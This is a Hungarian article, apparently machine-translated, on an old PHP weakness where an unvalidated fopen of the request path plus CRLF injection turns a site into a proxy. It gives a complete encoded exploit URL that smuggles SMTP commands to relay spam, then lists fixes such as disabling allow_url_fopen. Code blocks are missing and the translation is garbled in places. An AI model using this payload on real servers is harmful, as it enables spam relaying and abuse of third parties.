Potenciális sebezhetőség php-script - php

Function fopen, fájl tartalmazza, és szükség lehet megnyitni a fájlokat más oldalakon a http és ftp. Ez a funkció hordoz egy potenciális biztonsági rés a php-script, amely lehetővé teszi, hogy használja az oldalt, mint a proxy.
Figyelmeztetés semmi új ebben az anyagban nem. Annak ellenére, hogy a lenyűgöző funkciók a támadó, a biztonsági rés - kombinációja jól ismert tulajdonságai php.

Az orosz nyelvű interneten, ez a rés alig fedezte. Az orosz oldalak biztonságának problémája nem tudtam megtalálni a közvetlen jelentéseket a biztonsági rést.

Biztonsági rés: URL fopen wrapper

CR / LF HTTP-kérések


A kombináció a karakterek kocsi vissza és soremelés a HTTP-kérés fejlécében oszt. További információ a található egy cikkében Anton Kalmykov «HTTP-kérések Generation”. Ez a kombináció a karakterek, akkor küldje a GET-kérelmet „% 0D% 0A”.

Nem megbízható bemenet


Sok oldalt az oldal által generált script-sablonozó. A szkript átirányítja az összes kérés oldalon. REQUEST_URI venni a fájlnév a megnyitni kívánt. A fájl olvasható, ez hozzáadódik a sablon navigáció, sapka, stb és az eredmény ki az ügyfélnek.

Gondatlan vagy tapasztalatlan programozó írhat egyszerűen nyissa meg a fájlt ellenőrzése nélkül az adatokat:


A script végzi HTTP-kérés:


Az utolsó három sor a szkript automatikusan felkerülnek, de két rn előttük végét jelenti a kérés. Így nem biztonságos szkript lehet használni, mint a proxy szerver. Ismerve a szám a „lyukas” helyek, a támadó lehet építeni egy lánc őket, hogy ez nehezebb megtalálni.

Okos felhasználása a kiaknázása

index.php? f = http% 3A% 2F% 2Fmail.example.com% 3A25% 2F + HTTP / 1.0% 0D% 0AHELO + my.own.machine% 0D% 0AMAIL + SZÁRMAZÓ% 3A% 3Cme% 40my.own. gépi% 3E% 0D% 0ARCPT + TO% 3A% 3Cinfo% 40site1.st% 3E% 0D% 0ADATA% 0D% 0Ai + fog + soha + mondani + a + szó + késlekedik + megint% 0D% 0A.% 0D% 0AQUIT % 0D% 0A% 0D% 0A


(Kell egy sorban) PHP mail.example.com modul a szerverrel a 25-ös port és küldje el a következő kérés:

GET / HTTP / 1.0rn
HELO my.own.machinern
MAIL FROM: rn
RCPT TO: rn
DATArn
soha nem fogom azt a szót késlekedik againrn
.rn
QUITrnrn

HTTP / 1.0rn
Host: mail.site1.st:25rn
User-Agent: PHP / 4.1.2rnrn

elleni védelem hasznosítja


Ön, mint a fejlesztő vagy a webhely tulajdonosa, fontos, hogy minden lehetséges átjutni a webhely senki nem volt képes küldeni spam. Ha ez megtörténik, akkor meg kell küldeni minden dial-up Hawaii, amelyek tulajdonosai nem értik az emberi nyelv és a határidő tudja csinálni az Ön számára.

Ellenőrizze lekérdezés log

beállítása php


A legegyszerűbb módja annak, hogy tiltsa le a lehetséges biztonsági rés - megtiltják nyitott URL elküldése fájl funkciókat. Ha Ön rendszergazda a szerver - Tilt allow_url_fopen php beállításokat. Ha csak egy ügyfél - csökken a helyben. A .htaccess fájlt a root az oldalon írjon egy sort: php_value allow_url_fopen 0 Ha egy gonosz web hosting szolgáltató, akkor tiltsa le az URL fopen wrapper minden használó ügyfelek php_admin_value irányelvet. Csökkentett mód bekapcsolásához (safe mode) ebben az esetben nem segít, akkor a funkció továbbra is működik megfelelően.

változás kód

Megszüntetéséről kérésre offensivnom


Ügyfél keresnie a webhelyén ellenőrizhetetlen változók létrehoz extra forgalom és betölti a szerver CPU. Egyértelmű, hogy nem kell az oldalakat, hogy létrehoz a helyén, ha nem jár a proxy. Kívánatos, hogy megöli ilyen kérelmet kezdete előtt php-tolmács. Ez megtehető a mod_rewrite modul. A .htaccess fájlt a gyökere a helyén, tettem egy ilyen sort:


Azt feltételezik, hogy a helyszínen nem lesz elküldve a GET metódus segítségével alkot többsoros felhasználótól. Ellenkező esetben, akkor le kell állítani ezt a szabályt.

Kapcsolódó cikkek